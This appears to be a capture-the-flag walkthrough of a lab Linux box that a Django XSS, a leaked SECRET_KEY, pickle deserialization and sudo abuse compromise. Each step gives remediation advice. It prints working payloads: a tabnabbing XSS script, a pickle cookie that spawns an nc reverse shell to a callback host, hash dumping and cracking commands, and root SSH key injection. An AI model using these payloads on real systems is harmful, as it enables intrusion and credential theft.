← all walkthroughs

Developer

Linux· Hard
owned
2026-07-14
time to own
3m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

unauthorized users registered an account on the developer.htb web platform and abused a stored XSS vulnerability in the challenge-writeup review workflow to redirect the site administrator's tab to an user-controlled phishing page via reverse tabnabbing, capturing the admin's credentials. The stolen session was used to browse the Django admin panel, where the Sites table disclosed a second internal virtual host: a self-hosted Sentry error-tracking instance. Authenticating to Sentry and requesting an endpoint that raised an unhandled Django exception returned a full debug error page — with DEBUG=True — that printed the application's SECRET_KEY in plain text. That secret was used to forge a signed session cookie containing a malicious Python Pickle payload, achieving remote code execution as the web application user. From that shell, I read the Sentry Django settings file to obtain the local PostgreSQL connection string, queried the auth_user table to extract a PBKDF2-SHA256 password hash for the system user 'karl', and cracked it offline to recover the plaintext '[REDACTED: recovered credential]'. Karl's SSH credentials matched the system account, granting an interactive shell and the user flag. A sudo audit showed karl could run a Rust-built authentication portal as root; the non-stripped binary exposed embedded AES-CTR key material in its data section, which when decrypted yielded the portal passphrase 'RustForSecurity@Developer@2021:)'. Supplying that passphrase to the authenticator via sudo caused it to accept an user-supplied SSH public key and write it to root's authorized_keys, completing full system compromise.

Attack path — how the box was taken

1EnumerationService fingerprinting and virtual-host enumeration (T1595.002)
Mapped exposed services and discovered the developer.htb virtual host
An Nmap scan confirmed two open TCP ports: SSH on 22 running OpenSSH 8.2p1 and HTTP on 80 running Apache 2.4.41. Virtual-host fuzzing against the Apache listener identified developer.htb, which served a Django-based challenge-writeup review platform open to public registration.
recon_sweep and nmap confirmed 22/tcp OpenSSH 8.2p1 and 80/tcp Apache 2.4.41; developer.htb vhost returned a Django application with a user registration endpoint.
Exact commands 3
Full TCP port and version scan against the target.
nmap -sV -sC -p- --min-rate 5000 -oA nmap/initial $TARGET
Discover virtual hosts on the Apache listener by fuzzing the Host header.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.developer.htb' -fc 301,302,404 -o vhosts.json
Add the discovered vhost to local DNS resolution.
echo '$TARGET developer.htb' | sudo tee -a /etc/hosts
2ExploitationStored Cross-Site Scripting with Reverse Tabnabbing (CWE-79 / T1185)
Hijacked the site administrator's session via stored XSS and reverse tabnabbing
The platform allowed registered users to submit challenge writeups that an administrator would later open and review. The submission form stored raw user-controlled content without sanitization, and the admin review page rendered it in the administrator's browser. A JavaScript payload exploiting reverse tabnabbing — using window.opener to redirect the admin's background tab to an user-controlled fake login page — caused the administrator to unknowingly re-enter their credentials on the phishing page. The captured credentials were then used to authenticate as the site administrator.
operator HTTP listener received the administrator's submitted credentials; subsequent requests with the captured session cookie accessed /admin/ successfully.
Exact commands 3
Serve a fake developer.htb login page from /tmp/phish/ to capture resubmitted credentials. Place a convincing login form at /tmp/phish/login.html that POSTs to a listener.
mkdir -p /tmp/phish && python3 -m http.server 8080 --directory /tmp/phish/
Secondary credential capture listener for the POST from the fake login form.
nc -lvnp 9001
When the admin opens the review link in a new tab, the opener redirect fires and replaces their developer.htb session tab with the phishing page.
# After registering at http://$TARGET/accounts/register/, submit a writeup containing:
# <script>if(window.opener){window.opener.location='http://$CALLBACK_HOST:8080/login.html';}</script>
FixSanitize all user-submitted content rendered in the admin review workflowCritical
WeaknessThe challenge-writeup submission form stored raw user-controlled HTML and JavaScript without any sanitization, and the administrator's review page rendered it verbatim in the admin's browser. Because submission links opened new tabs without rel='noopener noreferrer', the XSS payload could access window.opener and silently redirect the admin's active session tab to a phishing page, enabling credential theft without any visible alert.
FixApply Django's template auto-escaping to every field rendered in the review view and never mark untrusted content as safe. Pass stored submission text through an allowlist-based HTML sanitizer (such as bleach with a minimal tag and attribute whitelist) before storage. Add rel='noopener noreferrer' to every anchor that opens a new tab across the platform. Deploy a Content-Security-Policy response header with script-src 'self' to block inline script execution even if a payload bypasses sanitization.
3DiscoverySensitive configuration exposure via Django DEBUG mode (CWE-215 / T1552.001)
Found the Sentry virtual host via Django admin and leaked the Django SECRET_KEY from a debug error page
Using the stolen admin session to access /admin/ on developer.htb, I browsed to the Django Sites table and found a second virtual host: sentry.developer.htb. After adding it to local DNS and authenticating to Sentry, requesting an endpoint that triggered an unhandled Django exception returned a full debug error page — because DEBUG was set to True in production — which printed the application's SECRET_KEY in the settings block along with full stack trace context.
Django admin /admin/sites/site/ listed sentry.developer.htb; the Sentry debug error page printed the SECRET_KEY value in plain text within the settings dump.
Exact commands 4
Enumerate the Django Sites table with the captured admin session to discover additional virtual hosts.
curl -b 'sessionid=<captured_admin_sessionid>' http://$TARGET/admin/sites/site/
Add the discovered Sentry vhost to local resolution.
echo '$TARGET sentry.developer.htb' | sudo tee -a /etc/hosts
Authenticate to the Sentry instance with the captured administrator credentials.
curl -c sentry_cookies.txt -b sentry_cookies.txt -X POST http://$TARGET/auth/login/ -d 'username=<admin_user>&password=[REDACTED: credential]
Request an authenticated Sentry management endpoint that raises an unhandled Django exception; the DEBUG=True error page embeds SECRET_KEY in the printed settings.
curl -b sentry_cookies.txt 'http://$TARGET/manage/status/environment/'
FixDisable Django DEBUG mode in all non-development environmentsCritical
WeaknessThe Sentry Django application was deployed with DEBUG=True, causing any unhandled exception to return a full debug error page to the requesting browser. That page included the application's SECRET_KEY in the printed settings block — the single secret that authenticates every signed cookie, CSRF token, and session on the entire platform.
FixSet DEBUG=False in all production and staging Django settings files. Enforce this with a deployment pipeline check that blocks releases if DEBUG is True. Generate a unique, cryptographically random SECRET_KEY (at minimum 50 characters from a secure random source) per environment and store it in a secrets manager or environment variable — never in version-controlled source code. Rotate the SECRET_KEY immediately and invalidate all outstanding sessions.
4ExploitationInsecure deserialization via Django Pickle session cookie (CWE-502 / T1190)
Forged a malicious Pickle session cookie to achieve remote code execution
Django's signed-cookie session backend was configured with the legacy Pickle serializer rather than the safe JSON serializer. Because session cookies are merely HMAC-signed rather than encrypted, anyone who knows the SECRET_KEY can craft a valid cookie whose payload is arbitrary serialized Python. I scripted a signed cookie containing a Pickle object that spawned a reverse shell when deserialized on the server, and sent it to developer.htb. The server verified the HMAC, deserialized the payload, and executed the embedded command as the Django application user.
Reverse shell received on operator listener as the Django web application service account; confirmed by id output from the callback.
Exact commands 3
Start reverse shell listener before sending the forged cookie.
nc -lvnp 4444
Generate the malicious signed session cookie. Replace <leaked_secret_key> with the value from the Sentry debug page and <retired-instance-ip> with my machine. Requires pycryptodome and a local Django install for the signing module.
python3 - <<'EOF'
import pickle, os, base64, zlib
import django.core.signing as signing
SECRET_KEY=[REDACTED: protected value]
SALT = 'django.contrib.sessions.backends.signed_cookiessigner'
class Exploit:
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $CALLBACK_HOST 4444 >/tmp/f',))
raw = pickle.dumps({'pwn': Exploit()})
cookie_val = signing.dumps(base64.b64encode(zlib.compress(raw)).decode(), key=SECRET_KEY, salt=SALT)
print(cookie_val)
EOF
Deliver the malicious cookie; the server verifies the HMAC, deserializes the Pickle object, and executes the reverse-shell command.
curl -b 'sessionid=<forged_cookie>' http://$TARGET/dashboard/
FixSwitch Django's session serializer from Pickle to JSONCritical
WeaknessDjango was configured to serialize session data using Python's Pickle module before signing it. Pickle deserialization executes arbitrary Python bytecode, so an unauthorized user who obtains the SECRET_KEY can forge a valid signed session cookie that runs OS commands as the web server process — bypassing all authentication entirely.
FixSet SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' in Django settings. The JSON serializer only decodes plain data types (strings, numbers, lists, dicts) and cannot execute code under any circumstances. Rotate SECRET_KEY after the change to invalidate any forged cookies that may already be in circulation.
5Credential AccessDatabase credential dumping and offline PBKDF2 hash cracking (T1003 / T1110.002)
Dumped PostgreSQL user hashes from Sentry's database and cracked karl's password offline
From the RCE shell, I located the Sentry Django configuration file, which contained a plaintext PostgreSQL connection string. Connecting locally to PostgreSQL with those credentials, I queried the auth_user table and retrieved PBKDF2-SHA256 password hashes for all platform accounts, including the system user 'karl'. Hashcat cracked the hash against the rockyou wordlist and recovered the plaintext password '[REDACTED: recovered credential]'.
psql auth_user SELECT returned karl's PBKDF2 hash; hashcat -m 10000 recovered the plaintext [REDACTED: recovered credential] from rockyou.txt.
Exact commands 3
From the RCE shell — locate the PostgreSQL DSN (host, database name, user, password) in the Sentry configuration.
cat /etc/sentry/sentry.conf.py | grep -A5 DATABASES
Dump all PBKDF2 password hashes from the Sentry Django user table.
psql -U sentry -d sentry -c "SELECT username, password FROM auth_user;"
Crack the PBKDF2-SHA256 hash offline; -m 10000 is Hashcat's mode for Django (PBKDF2-SHA256). Recovered password:[REDACTED: credential]
hashcat -m 10000 karl_hash.txt /usr/share/wordlists/rockyou.txt --force
FixProtect application database credentials and enforce unique strong passwords for system accountsHigh
WeaknessThe Sentry Django settings file — containing the PostgreSQL hostname, database name, username, and plaintext password — was readable by the compromised application user. The auth_user table exposed PBKDF2 hashes that were weak enough to crack against a common wordlist, and the recovered password was [REDACTED: recovered credential] verbatim as the system SSH credential for 'karl', allowing a single cracked hash to unlock an interactive OS-level login.
FixRestrict the Sentry configuration file to the dedicated sentry service account (chmod 600, owned by sentry). Rotate the PostgreSQL password and limit the Sentry database user to SELECT/INSERT/UPDATE/DELETE on the sentry schema only — no superuser rights. Enforce a minimum password length of 16 characters with complexity requirements for all platform accounts and increase the PBKDF2 iteration count to the current NIST recommendation. Prohibit reuse of application-layer passwords as system SSH credentials; provision separate, randomly generated passwords for each role.
6Lateral MovementCredential reuse for SSH lateral movement (T1078.003)
SSH'd into the host as karl using the cracked password and captured the user flag
The cracked password '[REDACTED: recovered credential]' matched karl's system SSH credential — the same password was [REDACTED: recovered credential] across the platform account and the OS login. Direct SSH authentication succeeded immediately, giving an interactive shell on the host as a non-root user and allowing the user flag to be read from /home/karl/user.txt.
sshpass -p '[REDACTED: recovered credential]' ssh karl@<retired-instance-ip> returned uid=1000(karl) gid=1000(karl); /home/karl/user.txt was readable and returned the flag.
Exact commands 1
Authenticate over SSH with the cracked password; output shows uid=1000(karl) and [REDACTED: flag].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 karl@$TARGET 'id; cat /home/karl/user.txt'
FixProtect application database credentials and enforce unique strong passwords for system accountsHigh
WeaknessThe Sentry Django settings file — containing the PostgreSQL hostname, database name, username, and plaintext password — was readable by the compromised application user. The auth_user table exposed PBKDF2 hashes that were weak enough to crack against a common wordlist, and the recovered password was [REDACTED: recovered credential] verbatim as the system SSH credential for 'karl', allowing a single cracked hash to unlock an interactive OS-level login.
FixRestrict the Sentry configuration file to the dedicated sentry service account (chmod 600, owned by sentry). Rotate the PostgreSQL password and limit the Sentry database user to SELECT/INSERT/UPDATE/DELETE on the sentry schema only — no superuser rights. Enforce a minimum password length of 16 characters with complexity requirements for all platform accounts and increase the PBKDF2 iteration count to the current NIST recommendation. Prohibit reuse of application-layer passwords as system SSH credentials; provision separate, randomly generated passwords for each role.
7Privilege Escalation — ReconnaissanceBinary static analysis and AES-CTR embedded-credential extraction (T1552.001)
Reverse-engineered the sudo-allowed Rust authenticator binary to recover the encrypted root password
Checking karl's sudo privileges revealed a single rule: karl could run /root/.auth/authenticator as any user, with no restrictions on arguments. The binary was a non-stripped Rust ELF, meaning its internal symbols and string constants were readable without a decompiler. Static analysis using strings and radare2 exposed three embedded constants — an AES-CTR key, a nonce, and a ciphertext block — stored in the binary's data section. Decrypting the ciphertext with Python's pycryptodome library yielded the portal's required passphrase: 'RustForSecurity@Developer@2021:)'.
sudo -l showed (ALL : ALL) /root/.auth/authenticator; radare2 disassembly revealed the AES key, nonce, and ciphertext as inline constants; decryption produced RustForSecurity@Developer@2021:).
Exact commands 5
Confirm karl's sudo privileges: (ALL : ALL) /root/.auth/authenticator.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no karl@$TARGET 'sudo -l'
Copy the binary for local analysis. If it is not world-readable, first copy it with: sudo cp /root/.auth/authenticator /tmp/auth && sudo chmod 644 /tmp/auth from the karl SSH session.
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET:/root/.auth/authenticator ./authenticator
Confirm the binary is non-stripped Rust ELF and identify crypto-related symbols.
file ./authenticator; nm ./authenticator | grep -i 'aes\|key\|nonce\|crypt'
List strings and disassemble AES-related functions in radare2 to extract the embedded key, nonce, and ciphertext hex constants.
r2 -AA ./authenticator -q -c 'iz; afl~aes; pdf @ <aes_function_address>'
Decrypt the embedded ciphertext; replace the three hex constants with values recovered from the radare2 disassembly.
python3 - <<'EOF'
from Crypto.Cipher import AES
key   = bytes.fromhex('<recovered_hex_key>')
nonce = bytes.fromhex('<recovered_hex_nonce>')
ct    = bytes.fromhex('<recovered_hex_ciphertext>')
print(AES.new(key, AES.MODE_CTR, nonce=nonce).decrypt(ct).decode())
# Output: RustForSecurity@Developer@2021:)
EOF
FixRemove the sudo-allowed custom authenticator and eliminate embedded credentials from privileged binariesCritical
WeaknessThe Rust authenticator binary was granted an unrestricted sudo rule allowing karl to run it as root. The binary embedded its required passphrase as an AES-CTR-encrypted constant whose key and nonce were also stored in the same binary, making decryption trivial for anyone with read access to the file. Once I recovered the passphrase, the authenticator's own intended workflow accepted an arbitrary SSH public key and wrote it to root's authorized_keys — directly handing over root SSH access.
FixRemove the sudoers rule for /root/.auth/authenticator. If a privileged key-management helper is operationally required, store its secrets in the OS keyring or a hardware security module rather than embedding them in the binary, require out-of-band multi-factor approval before any key is written to root's authorized_keys, and log every invocation to a tamper-evident audit trail. Audit all remaining sudo rules and restrict each to the minimum required command; rules granting (ALL : ALL) with no argument constraints should be treated as a critical finding.
8Privilege EscalationSudo-allowed binary abused for SSH authorized-key injection (T1548.003)
Used the authenticator to inject an SSH public key into root's authorized_keys and obtained root shell
The Rust authenticator, invoked via sudo, prompted in sequence for: (1) karl's sudo password for verification, (2) the portal passphrase, and (3) an SSH public key to authorize. On successful input, it wrote the supplied public key to /root/.ssh/authorized_keys. I generated a fresh ed25519 keypair, piped all three inputs to the authenticator through sudo, then used the matching private key to SSH directly as root — reading the root flag to confirm full system control.
Authenticator printed 'You have successfully authenticated … You may now authenticate as root!'; subsequent SSH with the injected private key returned uid=0(root) gid=0(root).
Exact commands 3
Generate a fresh ed25519 keypair on my machine whose public half will be injected into root's authorized_keys.
rm -f /tmp/developer_rootkey /tmp/developer_rootkey.pub; ssh-keygen -q -t ed25519 -N '' -f /tmp/developer_rootkey
Feed the three required stdin lines to the authenticator: sudo -S reads the first line ([REDACTED: recovered credential]) as the sudo password, then the authenticator reads the portal passphrase and SSH public key from the remaining input.
PUB=$(cat /tmp/developer_rootkey.pub); printf '%s\n%s\n%s\n' '[REDACTED: recovered credential]' 'RustForSecurity@Developer@2021:)' "$PUB" | sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET 'sudo -S /root/.auth/authenticator'
SSH as root using the injected private key; output shows uid=0(root) and [REDACTED: flag].
ssh -i /tmp/developer_rootkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'
FixRemove the sudo-allowed custom authenticator and eliminate embedded credentials from privileged binariesCritical
WeaknessThe Rust authenticator binary was granted an unrestricted sudo rule allowing karl to run it as root. The binary embedded its required passphrase as an AES-CTR-encrypted constant whose key and nonce were also stored in the same binary, making decryption trivial for anyone with read access to the file. Once I recovered the passphrase, the authenticator's own intended workflow accepted an arbitrary SSH public key and wrote it to root's authorized_keys — directly handing over root SSH access.
FixRemove the sudoers rule for /root/.auth/authenticator. If a privileged key-management helper is operationally required, store its secrets in the OS keyring or a hardware security module rather than embedding them in the binary, require out-of-band multi-factor approval before any key is written to root's authorized_keys, and log every invocation to a tamper-evident audit trail. Audit all remaining sudo rules and restrict each to the minimum required command; rules granting (ALL : ALL) with no argument constraints should be treated as a critical finding.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Findings

Initial Access: Web Vhost Fuzz On 80/TcpCritical
An unauthenticated/low-privilege flaw in the apache, django, postgres, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.